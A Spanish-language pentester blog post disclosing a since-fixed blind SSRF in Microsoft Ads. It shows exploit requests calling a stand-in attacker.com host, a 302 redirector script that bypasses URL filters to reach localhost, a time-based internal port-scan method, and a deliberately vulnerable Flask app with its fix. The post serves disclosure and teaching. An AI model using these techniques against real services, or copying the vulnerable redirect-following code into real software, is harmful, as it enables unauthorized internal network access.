Blind SSRF en Microsoft Ads

Camilo Galdos • July 24, 2025
Un fondo blanco con algunas líneas.

Server-Side Request Forgery para Pentesters

En este artículo, mostraré el roadmap de la explotación de un Blind SSRF encontrado en Microsoft Ads. Este análisis explica los controles implementados en la aplicación, así como también expone como esos controles fueron evadidos para enumerar endpoints en la red local del backend vulnerable.


El Server-Side Request Forgery no es vulnerabilidad nueva para nosotros. En una anterior ocasión, ya hemos escrito en este blog sobre un SSRF   que encontré en msn.com y con el cual pudimos llegar a la red local del Web Server. En aquellos días, esta vulnerabilidad estaba poco explotada y los controles implementados para mitigarla, eran realmente pensando en otras vulnerabilidades y no en SSRF como tal.


Cada vez hay más controles que limitan la posibilidad de explotación real de esta vulnerabilidad y ahora se requiere un mayor entendimiento del entorno y conocimiento preciso del flujo de confianza del servicio, para poder explotar este tipo de vulnerabilidades.



Blind SSRF y sus complicaciones


En un escenario de blind SSRF, la explotación no se consigue enviando una URL arbitraria y esperando que algo ocurra. Dado que en este tipo de vulnerabilidad no se puede visualizar la respuesta de la petición, el análisis debe enfocarse en el comportamiento del componente para lograr inferir con la mayor certeza posible, la lógica con la que el backend  recibe, procesa y ejecuta la solicitud. Para que esa ejecución ocurra, el payload debe cumplir con los criterios internos del sistema que lo interpreta.


Esto implica entender con precisión qué condiciones hacen que una URL sea aceptada y procesada: desde la validez del hostname, la estructura del recurso (body), el formato de datos que recibe (filetype), el procesamiento de extensiones específicas (filename) o esquemas particulares. El objetivo no es forzar el sistema, sino alinear la trama con la expectativa del endpoint receptor para que ejecute una acción específica que el atacante quiere. Así es como se puede adquirir el mayor control de la ejecución de la trama. Explotar un blind SSRF de forma efectiva, requiere diseñar una respuesta de nuestro server que se integre naturalmente en la lógica del flujo interno.



Análisis del filtro de las URLs.


Pasando al análisis técnico del comportamiento del servicio que identificamos como vulnerable en Microsoft Ads, lo primero interesante a mencionar, es que que el endpoint contaba con un control que evitaba que el recurso ingresado para ser procesado tuviese una URL que usara una IP como "hostname". De esta forma el backend evitaba que requests fuesen procesados y enviados si eran solicitados a una IP y no a un dominio. Este control dificulta realizar un escaneo a IPs locales de forma directa.


Funciona:

GET /path/process/r?url=http%3A%2F%2Fattacker.com&var=true&var=MD5


No funciona:

GET /path/process/r?url=http%3A%2F%2F127.0.0.1&var=true&var=MD5


Además, el endpoint tenia un segundo control en el cual solo procesaba de forma adecuada las URLs (seguía el flujo completo de lógica) si la URL contenía en el nombre del archivo, un formato específico.


Funciona:

GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.zip&var=true&var=MD5


No funciona:

GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.txt&var=true&var=MD5



En resumen, el endpoint recibe una URL. Pero solo la procesa, si el hostname es un dominio y si el archivo de la url es del formato previamente definido en la configuración del Endpoint.



Bypass con 302 Redirect (Request Control)


Cuando la explotación de un SSRF es exitosa, un atacante logra tomar control sobre las peticiones que realiza un endpoint y  las reutiliza para obtener o modificar información confidencial del target. En este caso, aunque podría subir un archivo con el filetype necesario y ponerle un dominio a la URL, no podría hacer nada más que recibir un request del bot de Microsoft y ya.


Ya en otra ocasión, había tenido una situación similar y uno de los aprendizajes más valiosos que me dejó, fue que muchos de estos controles implementados en los backends, solo validaban el primer response que recibía del servicio consultado. Si la respuesta del servidor era un redirect, el control no aplicaba dado que el primer response en teoría si cumplía con lo necesario para ser procesado.


Entonces, en la vulnerabilidad encontrada en Microsoft Ads, ya habíamos identificado los controles que teníamos que evadir y ahora también tenemos la solución (teórica) que nos ayudaría a hacerles bypass: 302 Redirect. Para recapitular, nuestra URL, debe tener en la URL un filetype específico (.zip en este caso) y también debe ser un dominio y no una IP.


Para solucionar lo del dominio, pueden usar un dominio propio o usar alguno gratuito, si tienen la duda de cual es mejor, propio o gratuito, la realidad es que depende. Hay endpoints de lógica b2b que tienen blacklisteados muchos dominios gratuitos y hay otros que consumen en su mayoría recursos de fuentes gratuitas por lo que es mejor usar dominios que sean conocidos como camuflaje, por eso como antes mencioné, es super importante entender bien el endpoint que estamos trabajando.


El tema del zip es donde viene el bypass divertido, tenemos que hacerle creer que somos un .zip pero al mismo tiempo no serlo. Para lograr esto, en mi caso usé el apoyo de un pequeño script en python que aceptaba todos los paths que recibiera con un 302. Si el "bot" visita /ejemplo.zip, será redireccionado a cualquier destino que queramos.


Este código es parte de redirector.py:


class Redirect(BaseHTTPRequestHandler):


  def do_GET(self):


    self.send_response(302)


    self.send_header('Location', sys.argv[1])


    self.end_headers()


Este script en mi server (dominio attacker.com), si es ejecutado de la siguiente manera:


redirector.py https://127.0.0.1:443/admin


Al recibir un request usando el servicio vulnerable, ej:

 

GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.zip&var=true&var=MD5


El bot cuando ingrese a ese link, recibirá una redirección 302 y será como si realmente hubiésemos enviado:


GET /path/process/r?url=http%3A%2F%2F127.0.0.1:443/admin&var=true&var=MD5


Aquí les comparto una imagen real del "bot" siendo redirigido a mi Burp collaborator. Interesante ver que es un Python-Requests y que no se han tomado el tiempo de cambiar el user-agent, interesante por todo lo que eso representa...


Ok, validado que tenemos el control del "bot", y también que el bypass en si funcionó ¿Cómo usarlo para que aumente el impacto de la vulnerabilidad?



Pivot y Time-Based Port Scan


Si, es posible realizar un port scan usando esta técnica de redirect con el escenario tal y como lo tenemos en este momento. Para ejecutar el port scan, el plan es el siguiente:


1. Hacer que el request que manda el bot llegue al web server controlado por nosotros.


2. Redireccionar el request a IPLOCAL:PUERTO


3. Tomar nota del tiempo que demoro en regresar la respuesta al bot. 



¿Por qué el tiempo es importante? porque normalmente si un request consulta un puerto abierto, la respuesta que recibe es inmediata, en cambio si el puerto está cerrado, hay timeout y la respuesta demorará en llegar.


¿Cómo medir el tiempo? esa pregunta es interesante hay varias maneras, pero el flujo que apliqué en esta vulnerabilidad fue el siguiente:


1. El request vulnerable llevarlo a Intruder de burp suite.


2. Configurar el intruder para mandar unos request con este formato:


GET /path/process/r?url=http%3A%2F%2Fattacker.com/$PAYLOAD$/resource.zip&var=true&var=MD5


3. Configurar redirector,py para que el path de la url que reciba lo extraiga y lo ponga como puerto a una IP en específico.


4. Leer en el intruder el tiempo de respuesta de cada request que envió.



Es referencial, pero el código del redirector.py  se ve algo así:



Con esta técnica en este momento y siguiendo la línea de tiempo como la he planteado, podríamos escanearle 65k puertos a 127.0.0.1, luego hacer lo mismo con cada una de las IPs, pero... ¿cual es la IP local de ese server? ¿Este SSRF nos puede servir de pivot para llegar a una red crítica? ¿como puedo atacar algún asset importante? A la hora de un Pentest o un Bug Bounty, un elemento clave, es demostrar el verdadero riesgo que representa una vulnerabilidad. y para un Blind SSRF no es tarea sencilla.


Quiero hacer énfasis una vez mas en la importancia que tiene entender el target y el endpoint que se está analizando. ¿Por qué? porque cuando escaneas esta clase de targets, con esta clase de método y todo a través de un SSRF, no siempre es fácil demostrar todo lo que se puede hacer. Entonces, aquí el elemento clave para explotar esta vulnerabilidad al máximo, es hacer ese network mapping para saber donde estamos y a que servicios podemos atacar.


En el caso de la vulnerabilidad en Microsoft Ads, busqué dos puertos específicos a distintos rangos de IPs locales, el 22 para buscar servidores con ssh a los que pudiese llegar y el 445 para buscar máquinas de personal que estuviesen conectadas a un domain controller. Así podría descartar rangos enteros de IPs que no tendrían mucho que ofrecer.


Aquí les comparto una imagen de la vulnerabilidad real, el cuadro verde son los puertos abiertos y el rojo son los cerrados, presten atención a como los tiempos de respuesta del 80 y 443 son menos de medio segundo vs los otros que demoran 3 segundos en volver. Podemos concluir que el server que estamos escaneando es un Web Server.


Análisis del código vulnerable



El bypass usando redirect 302, ocurre porque el código permitía que el request haga "follow" a los redirects. En la mayoría de librerías y clientes-cli que hacen conexiones HTTP, es posible configurarlos para que no sigan redirecciones.


He escrito un ejemplo de código vulnerable, para que se comprenda como funciona la vulnerabilidad desde distintos ángulos y también lo pueden usar para practicar. El código simula un endpoint llamado descargar, con una variable por get (url) que solo acepta links que terminen en ".zip". Si ejecutas el código, se levantará un web server en "https://vulnerable.com/descargar?url=" para explotar el código vulnerable, usa un script que redireccione todas las visitas hacia "https://127.0.0.1/admin", al visitar https://vulnerable.com/descargar?url=https://attacker.com/exploit.zip estarás visitando el panel admin de localhost.



Código vulnerable:

from flask import Flask, request, Response


import requests



app = Flask(__name__)



def is_valid_url(url):


    # Es válido solo si la URL termina en ".zip"


    return url.lower().strip().endswith('.zip')



@app.route('/descargar')


def descargar():


    user_url = request.args.get('url')



    if not user_url or not is_valid_url(user_url):


        return " URL rechazada. Debe terminar en '.zip'", 400



    try:


        print(f"[+] Solicitando: {user_url}")


        response = requests.get(user_url, timeout=5)  # Sigue redirecciones 



        final_url = response.url


        print(f"[!] Redirigido a: {final_url}")



        # Debug para el ejemplo


        if not final_url.lower().strip().endswith(".zip"):


            advertencia = f" Bypass a URL no válida: {final_url}\n\n"


        else:


            advertencia = f" URL final válida: {final_url}\n\n"



        contenido = response.text[:5000]  # Debug para el ejemplo


        return Response(advertencia + contenido, mimetype="text/plain")



    except Exception as e:


        return f" Error al procesar la URL: {str(e)}", 500



if __name__ == "__main__":


    app.run(debug=True)



Ejemplo de redirect.py

from flask import Flask, redirect



app = Flask(__name__)



@app.route('/archivo.zip')


def redirect_zip():


  return redirect("http://google.com/") # redirige a recurso NO .zip




if __name__ == "__main__":

  app.run(debug=True)



Para solucionar el problema aquí y evitar que la aplicación no siga la redirección, habría que añadir el flag de  allow_redirects en False al momento de lanzar el request. Esto sería cambiando la linea 19 de la siguiente manera: 


response = requests.get(user_url, timeout=5, allow_redirects=False)



Conclusiones finales y Recomendaciones


Para los Pentesters, sepan que no es opcional entender el flujo completo de las aplicaciones que auditan, siempre debemos tener una idea clara sobre lo que pasa cuando se manda un payload, un buen Pentester es full-stack. Para los desarrolladores, siempre es bueno buscar las buenas prácticas de las tecnologías que se usan. De esa manera no se pasarán esta clase de vulnerabilidades que pueden ser muy sencillas de evitar con solo un flag.


Esta vulnerabilidad, fue reportada a Microsoft y ya implementó un fix. En abril de este año, aparecí en la lista de reconocimiento de Microsoft (MSRC) por ese reporte.




Todos los Pentest realizados por el equipo de Deep Security, son ejecutados con un nivel técnico avalado por la experiencia de un equipo que reporta vulnerabilidades a las empresas más grandes del mundo.


Si necesitas un Pentest profesional y acompañamiento continuo para mantener la superficie en internet de tu compañía segura, escríbenos y nuestro equipo comercial te contactará.




Un fondo azul con dos manos y las palabras
4 de septiembre de 2023
¿Por qué se siguen reportando incidentes en los Smart Contracts? Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza, aca les mencionamos las principales.
Una langosta verde en una rama, y el mensaje de pruebas de penetración vs bug bounty
8 de agosto de 2023
Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.
Un mapa azul de América del Sur tiene un fondo azul oscuro.
por DeepSecurity 24 de junio de 2020
SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.
Un virus azul sobre fondo negro con las palabras reporte de ciberinteligencia
por DeepSecurity 1 de junio de 2020
Durante nuestras investigaciones de ciberinteligencia encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Encontramos que algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios.
Una estatua de un oso está comiendo una hoja sobre un fondo negro.
por DeepSecurity 21 de mayo de 2020
El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.
Una mano sostiene una pieza de ajedrez sobre un fondo azul.
por DeepSecurity 14 de abril de 2020
BlueKeep (CVE-2019-0708) es una vulnerabilidad de ejecución remota de código, no autenticada, en Remote Desktop Services (Servicio de RDP). La vulnerabilidad solo requiere que el puerto de RDP esté abierto y un atacante podría conectarse sin necesidad de tener usuario o contraseña.
Un diagrama de un líder de grupo con servicios técnicos y servicios monetarios.
por DeepSecurity 12 de abril de 2020
La empresa rumana de Ciberseguridad @Bitdefender público un nuevo caso de estudio “An APT Blueprint: Gaining New Visibility into Financial Threats“ en donde plasma la línea de tiempo y el modus operandi de la banda APT (Advanced Persistent Threat) Carbanak
El logotipo de la palabra valla es azul y negro sobre un fondo blanco.
por DeepSecurity 11 de marzo de 2020
Durante un servicio de pentest web, el equipo de research de DeepSecurity se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, y donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS)
Un diagrama que muestra cómo el firewall bloquea una solicitud directa.
por DeepSecurity 23 de octubre de 2018
Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.